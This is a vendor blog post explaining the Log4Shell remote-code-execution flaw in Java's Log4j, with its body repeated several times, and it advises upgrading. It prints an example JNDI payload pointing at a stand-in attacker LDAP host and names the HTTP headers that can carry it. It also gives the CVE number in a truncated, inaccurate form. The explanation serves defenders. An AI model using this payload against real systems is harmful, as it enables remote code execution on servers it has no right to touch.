The Log4j vulnerability explained - Its attack vector and how to prevent it
On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.
Want to quickly level up your skills in tackling Log4Shell?
We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.
Old news?
The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.
Attack vector
Log4Shell’s injection payload looks like this:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.
What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.
To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".
Prevention: Awareness
Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.
As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure.
Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.
Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.
For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.
Level up your skills in defending against Log4Shell
Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.
In December 2021, a critical security vulnerability Log4Shell was disclosed in the Java library Log4j. In this article, we breakdown the Log4Shell vulnerability into the simplest form for you to grasp the basic and introduce you to a mission - a playground where you can try exploiting a simulated website using the knowledge of this vulnerability.
Secure Code Warrior is here for your organization to help you secure code across the entire software development lifecycle and create a culture in which cybersecurity is top of mind. Whether you’re an AppSec Manager, Developer, CISO, or anyone involved in security, we can help your organization reduce risks associated with insecure code.
Book a demo
Laura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.
On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.
Want to quickly level up your skills in tackling Log4Shell?
We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.
Old news?
The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.
Attack vector
Log4Shell’s injection payload looks like this:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.
What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.
To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".
Prevention: Awareness
Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.
As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure.
Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.
Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.
For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.
Level up your skills in defending against Log4Shell
Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.
On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.
Want to quickly level up your skills in tackling Log4Shell?
We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.
Old news?
The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.
Attack vector
Log4Shell’s injection payload looks like this:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.
What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.
To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".
Prevention: Awareness
Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.
As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure.
Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.
Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.
For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.
Level up your skills in defending against Log4Shell
Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.
Click on the link below and download the PDF of this resource.
Secure Code Warrior is here for your organization to help you secure code across the entire software development lifecycle and create a culture in which cybersecurity is top of mind. Whether you’re an AppSec Manager, Developer, CISO, or anyone involved in security, we can help your organization reduce risks associated with insecure code.
View reportBook a demo
Laura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.
On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.
Want to quickly level up your skills in tackling Log4Shell?
We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.
Old news?
The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.
Attack vector
Log4Shell’s injection payload looks like this:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.
What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.
To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".
Prevention: Awareness
Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.
As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure.
Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.
Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.
For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.
Level up your skills in defending against Log4Shell
Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.
Table of contents
Secure Code Warrior is here for your organization to help you secure code across the entire software development lifecycle and create a culture in which cybersecurity is top of mind. Whether you’re an AppSec Manager, Developer, CISO, or anyone involved in security, we can help your organization reduce risks associated with insecure code.
Book a demoDownloadResources to get you started
AI Coding Assistants: A Guide to Security-Safe Navigation for the Next Generation of Developers
Large language models deliver irresistible advantages in speed and productivity, but they also introduce undeniable risks to the enterprise. Traditional security guardrails aren’t enough to control the deluge. Developers require precise, verified security skills to identify and prevent security flaws at the outset of the software development lifecycle.
Secure by Design: Defining Best Practices, Enabling Developers and Benchmarking Preventative Security Outcomes
In this research paper, Secure Code Warrior co-founders, Pieter Danhieux and Dr. Matias Madou, Ph.D., along with expert contributors, Chris Inglis, Former US National Cyber Director (now Strategic Advisor to Paladin Capital Group), and Devin Lynch, Senior Director, Paladin Global Institute, will reveal key findings from over twenty in-depth interviews with enterprise security leaders including CISOs, a VP of Application Security, and software security professionals.
Resources to get you started
Setting the Standard: SCW Releases Free AI Coding Security Rules on GitHub
AI-assisted development is no longer on the horizon — it’s here, and it’s rapidly reshaping how software is written. Tools like GitHub Copilot, Cline, Roo, Cursor, Aider, and Windsurf are transforming developers into co-pilots of their own, enabling faster iteration and accelerating everything from prototyping to major refactoring projects.
Close the Loop on Vulnerabilities with Secure Code Warrior + HackerOne
Secure Code Warrior is excited to announce our new integration with HackerOne, a leader in offensive security solutions. Together, we're building a powerful, integrated ecosystem. HackerOne pinpoints where vulnerabilities are actually happening in real-world environments, exposing the "what" and "where" of security issues.
Revealed: How the Cyber Industry Defines Secure by Design
In our latest white paper, our Co-Founders, Pieter Danhieux and Dr. Matias Madou, Ph.D., sat down with over twenty enterprise security leaders, including CISOs, AppSec leaders and security professionals, to figure out the key pieces of this puzzle and uncover the reality behind the Secure by Design movement. It’s a shared ambition across the security teams, but no shared playbook.
Developer-driven coding.
Securely.
Contact us today and make software security an intrinsic part of your development process.
